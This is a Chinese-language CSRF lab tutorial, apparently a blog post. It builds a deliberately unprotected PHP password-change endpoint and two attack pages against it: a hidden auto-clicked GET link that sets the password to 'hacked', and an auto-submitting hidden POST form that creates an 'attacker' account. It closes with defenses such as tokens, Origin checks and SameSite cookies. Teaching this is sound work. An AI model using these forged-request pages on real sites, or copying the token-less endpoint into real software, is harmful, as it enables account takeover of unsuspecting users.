### 关于
跨站请求伪造（
CSRF）实验的设计与实施
#### 实验
目标
通过设计
并执行一个简单的
CSRF 攻击场景，验证攻击的工作原理以及其可能带来的危害。这有助于理解
CSRF 的本质及其防御方法。
---
#### 实验环境准备
1. **本地开发
服务器**
使用 Web 开发框架搭建一个支持
用户登录功能的小型应用，例如 PHP 或 Python Flask 应用程序。该应用程序应允许修改
用户的某些敏感数据（如密码），以便模拟真实世界中的业务逻辑。
2. **易受攻击的功能模块**
创建一个未加防护的 URL 接口用于更新
用户密码或其他操作。例如：
```php
<?php
session_start
();
if
($_SERVER['REQUEST_METHOD'] === 'GET'
) {
$new_password = $_GET['password_new'];
$confirm_password = $_GET['password_conf'];
if
($new_password && $confirm_password && $new_password === $confirm_password
) {
echo "Password updated successfully!";
// Simulate password update logic here.
} else {
echo "Error updating password.";
}
}
?>
```
3. **恶意页面构建**
构建一个 HTML 页面，其中包含能够触发
CSRF 攻击的内容。此页面可以通过诱导受害者访问来完成攻击过程。
---
#### 实现步骤
##### 方法一：基于 GET
请求的
CSRF 测试
创建一个 HTML 文件，在文件中嵌入超链接或自动加载脚本以发起
CSRF 请求：
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>
CSRF Test</title>
</head>
<body>
<!-- 隐蔽的超链接 -->
<a href="http://localhost/
csrf_vulnerable_app/change_password.php?password_new=hacked&password_conf=hacked" style="display:none;" id="
csrf-link"></a>
<!-- 自动
点击链接 -->
<script>
document.getElementById
('
csrf-link'
).click
();
</script>
</body>
</html>
```
上述代码会在
用户打开页面时立即发送一个 GET
请求到指定的
目标地址[^4]。
##### 方法二：基于 POST
请求的
CSRF 测试
如果
目标接口仅接受 POST
请求，则可通过 `<form>` 表单提交方式实现
CSRF 攻击：
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>
CSRF Form Attack</title>
</head>
<body onload="document.forms[0].submit
()">
<form action="http://localhost/
csrf_vulnerable_app/update_user.php" method="POST">
<input type="hidden" name="act" value="add"/>
<input type="hidden" name="username" value="attacker"/>
<input type="hidden" name="password" value="hackedpass"/>
<input type="hidden" name="password2" value="hackedpass"/>
<input type="hidden" name="button" value="%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7"/>
<input type="hidden" name="userid" value="0"/>
</form>
</body>
</html>
```
当受害者浏览这个恶意页面时，
浏览器会自动向
目标站
点提交表单数据[^3]。
---
#### 安全测试注意事项
在实际环境中进行此类测试前需获得授权，以免触犯法律。此外，建议使用虚拟机隔离测试网络，防止意外影响其他系统资源。
---
#### 防御措施概述
为了有效抵御
CSRF 攻击，可采取以下策略之一或多组合使用：
- 添加一次性令牌（Token）校验机制；
- 设置严格的 Referer 和 Origin 头部检查；
- 启用 SameSite Cookie 属性限制第三方调用行为[^1]。
---
### 结论
通过对
CSRF 漏洞的学习和实践，可以更深刻认识到这类威胁的存在形式及潜在风险，
并掌握相应的缓解手段。
---
扫一扫
2138
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
